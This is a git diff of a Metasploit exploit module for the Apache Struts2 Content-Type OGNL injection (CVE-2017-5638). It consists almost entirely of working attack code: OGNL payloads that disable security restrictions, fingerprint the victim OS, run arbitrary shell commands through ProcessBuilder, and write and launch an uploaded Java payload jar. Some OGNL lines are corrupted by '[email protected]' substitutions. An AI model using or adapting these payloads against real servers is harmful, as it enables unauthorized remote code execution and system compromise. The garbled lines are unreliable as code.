@@ -18,52 +18,77 @@ def initialize(info = {})
18
18
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
19
19
via http Content-Type header.
20
20
} ,
21
- 'Author' => [ 'Nixawk' ] ,
21
+ 'Author' => [
22
+ 'Nike.Zheng' , # PoC
23
+ 'Nixawk' , # Metasploit module
24
+ 'Chorder' , # Metasploit module
25
+ 'egypt' , # combining the above
26
+ ] ,
22
27
'References' => [
23
28
[ 'CVE' , '2017-5638' ] ,
24
29
[ 'URL' , 'https://cwiki.apache.org/confluence/display/WW/S2-045' ]
25
30
] ,
26
- 'Platform' => %w{ unix win } ,
27
31
'Privileged' => true ,
28
- 'Targets' =>
32
+ 'Targets' => [
29
33
[
30
- [ 'Apache Struts2 / unix' , { } ] ,
31
- [ 'Apache Struts2 / win' , { } ]
34
+ 'Universal' , {
35
+ 'Platform' => %w{ unix windows linux } ,
36
+ 'Arch' => [ ARCH_CMD , ARCH_JAVA ] ,
37
+ } ,
32
38
] ,
39
+ ] ,
33
40
'DisclosureDate' => 'Mar 07 2017' ,
34
- 'DefaultTarget' => 0 ) )
41
+ 'DefaultTarget' => 0 ) )
35
42
36
43
register_options (
37
44
[
38
45
Opt ::RPORT ( 8080 ) ,
39
46
OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , '/struts2-showcase/' ] ) ,
40
- OptString . new ( 'CMD' , [ true , 'The command to be executed in remote server' , 'dir' ] )
47
+ ]
48
+ )
49
+ register_advanced_options (
50
+ [
51
+ OptString . new ( 'HTTP::Method' , [ true , 'The HTTP method to send in the request. Cannot contain spaces' , 'GET' ] )
41
52
]
42
53
)
43
54
end
44
55
45
- def print_status ( msg = '' )
46
- super ( "#{ peer } - #{ msg } " )
47
- end
56
+ def check
57
+ var_a = rand_text_alpha_lower ( 4 )
48
58
49
- def send_http_request ( content_type )
50
- uri = normalize_uri ( datastore [ "TARGETURI" ] )
51
- resp = send_request_cgi (
52
- 'uri' => uri ,
53
- 'version' => '1.1' ,
54
- 'method' => 'GET' ,
55
- 'headers' => {
56
- 'Content-Type' : content_type
57
- }
58
- )
59
+ ognl = ""
60
+ ognl <<
%q|(#[email protected] @getProperty('os.name')).|
61
+ ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| +var_a +%q|', #os))|
59
62
60
- if resp && resp . code == 404
61
- fail_with ( Failure ::BadConfig , 'Server returned HTTP 404, please double check TARGETURI' )
63
+ begin
64
+ resp = send_http_request ( ognl )
65
+ rescue Msf ::Exploit ::Failed
66
+ return Exploit ::CheckCode ::Unknown
62
67
end
63
- resp
68
+
69
+ if resp && resp . code == 200 && resp . headers [ var_a ]
70
+ print_good ( "Victim operating system: #{ resp . headers [ var_a ] } " )
71
+ Exploit ::CheckCode ::Vulnerable
72
+ else
73
+ Exploit ::CheckCode ::Safe
74
+ end
75
+ end
76
+
77
+ def exploit
78
+ case payload . arch . first
79
+ when ARCH_JAVA
80
+ datastore [ 'LHOST' ] = nil
81
+ resp = send_payload ( payload . encoded_jar )
82
+ when ARCH_CMD
83
+ resp = execute_command ( payload . encoded )
84
+ end
85
+
86
+ #require'pp'
87
+ #pp resp.headers if resp
64
88
end
65
89
66
- def http_send_command ( cmd )
90
+ def send_http_request ( ognl , method : 'LOLWUT' , stuff : '' )
91
+ uri = normalize_uri ( datastore [ "TARGETURI" ] )
67
92
content_type = "%{(#_='multipart/form-data')."
68
93
content_type <<
"(#[email protected] @DEFAULT_MEMBER_ACCESS)."
69
94
content_type << "(#_memberAccess?"
@@ -73,56 +98,116 @@ def http_send_command(cmd)
73
98
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
74
99
content_type << "(#ognlUtil.getExcludedClasses().clear())."
75
100
content_type << "(#context.setMemberAccess(#dm))))."
76
- content_type << "(#cmd='#{ cmd } ')."
77
- content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78
- content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79
- content_type << "(#p=new java.lang.ProcessBuilder(#cmds))."
80
- content_type << "(#p.redirectErrorStream(true))."
81
- content_type << "(#process=#p.start())."
82
- content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83
- content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84
- content_type << "(#ros.flush())}"
85
- send_http_request ( content_type )
86
- end
101
+ content_type << ognl
102
+ content_type << "}"
87
103
88
- def check
89
- var_a = rand_text_alpha_lower ( 4 )
104
+ headers = { 'Content-Type' => content_type }
105
+ if stuff
106
+ headers [ 'stuff' ] = stuff
107
+ end
90
108
91
- content_type = ""
92
- content_type << %q|%{|
93
- content_type << %q|(#_='multipart/form-data').|
94
- content_type <<
%q|(#[email protected] @DEFAULT_MEMBER_ACCESS).|
95
- content_type << %q|(#_memberAccess?|
96
- content_type << %q|(#_memberAccess=#dm):|
97
- content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98
- content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99
- content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100
- content_type << %q|(#ognlUtil.getExcludedClasses().clear()).|
101
- content_type << %q|(#context.setMemberAccess(#dm)))).|
102
- content_type <<
%q|(#[email protected] @getProperty('os.name')).|
103
- content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| +var_a +%q|', #os))|
104
- content_type << %q|}|
109
+ #puts content_type.gsub(").", ").\n")
110
+ #puts
111
+ #puts content_type.length
112
+ #puts
105
113
106
- begin
107
- resp = send_http_request ( content_type )
108
- rescue Msf :: Exploit :: Failed
109
- return Exploit :: CheckCode :: Unknown
110
- end
114
+ resp = send_request_cgi (
115
+ 'uri' => uri ,
116
+ 'method' => method ,
117
+ 'headers' => headers
118
+ )
111
119
112
- if resp && resp . code == 200 && resp . headers [ var_a ]
113
- print_good ( "Victim operating system: #{ resp . headers [ var_a ] } " )
114
- Exploit ::CheckCode ::Vulnerable
115
- else
116
- Exploit ::CheckCode ::Safe
120
+ if resp && resp . code == 404
121
+ fail_with ( Failure ::BadConfig , 'Server returned HTTP 404, please double check TARGETURI' )
117
122
end
123
+ resp
118
124
end
119
125
120
- def exploit
121
- unless check == Exploit ::CheckCode ::Vulnerable
122
- fail_with ( Failure ::NotVulnerable , "Exploit not available on this system." )
123
- end
126
+ def execute_command ( cmd )
127
+ ognl = ''
128
+ ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
129
+ ognl <<
%q|(#[email protected] @getRequest().getHeader('stuff')).|
130
+ ognl << %q|(#r.addHeader('decoded',#cmd)).|
131
+ ognl <<
%q|(#[email protected] @getProperty('os.name')).|
132
+ ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
133
+ ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
134
+ ognl << "(#p.redirectErrorStream(true))."
135
+ ognl << "(#process=#p.start())."
124
136
125
- resp = http_send_command ( datastore [ 'cmd' ] )
126
- print_status ( "Command output: #{ resp . body } " )
137
+ ognl << %q|(#r.addHeader('end','end'))|
138
+
139
+ send_http_request ( ognl , stuff : cmd )
127
140
end
141
+
142
+ def send_payload ( jar )
143
+ ognl = ""
144
+ ognl <<
%q|(#[email protected] @getRequest().getHeader('stuff')).|
145
+ ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
146
+ ognl <<
%q|(#[email protected] @createTempFile('metasploit','.jar')).|
147
+ ognl << %q|(#f.deleteOnExit()).|
148
+ ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
149
+ ognl << %q|(#fos.write(#d)).|
150
+ ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').|
151
+
152
+ ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
153
+ ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
154
+ ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
155
+ ognl << %q|(#p.start()).|
156
+
157
+ ognl << %q|(#context[#r].addHeader('end','end'))|
158
+ send_http_request ( ognl , stuff : [ jar . pack ] . pack ( "m" ) . delete ( "\n " ) )
159
+ end
160
+
128
161
end
162
+
163
+ =begin
164
+ Doesn't work:
165
+
166
+ ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
167
+ ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
168
+ ognl << %q|(#[email protected] @getMethods(#c,'run',true).get(0)).|
169
+ ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).|
170
+ ognl << %q|(#m.invoke(null,null)).|
171
+
172
+ #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
173
+ #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
174
+ #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
175
+ #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
176
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
177
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
178
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
179
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
180
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
181
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
182
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
183
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
184
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
185
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
186
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
187
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
188
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
189
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
190
+ #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
191
+ #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
192
+
193
+ #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
194
+ #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
195
+ #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
196
+ #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
197
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
198
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
199
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
200
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
201
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
202
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
203
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
204
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
205
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
206
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
207
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
208
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
209
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
210
+ #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
211
+ #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
212
+
213
+ =end
0 commit comments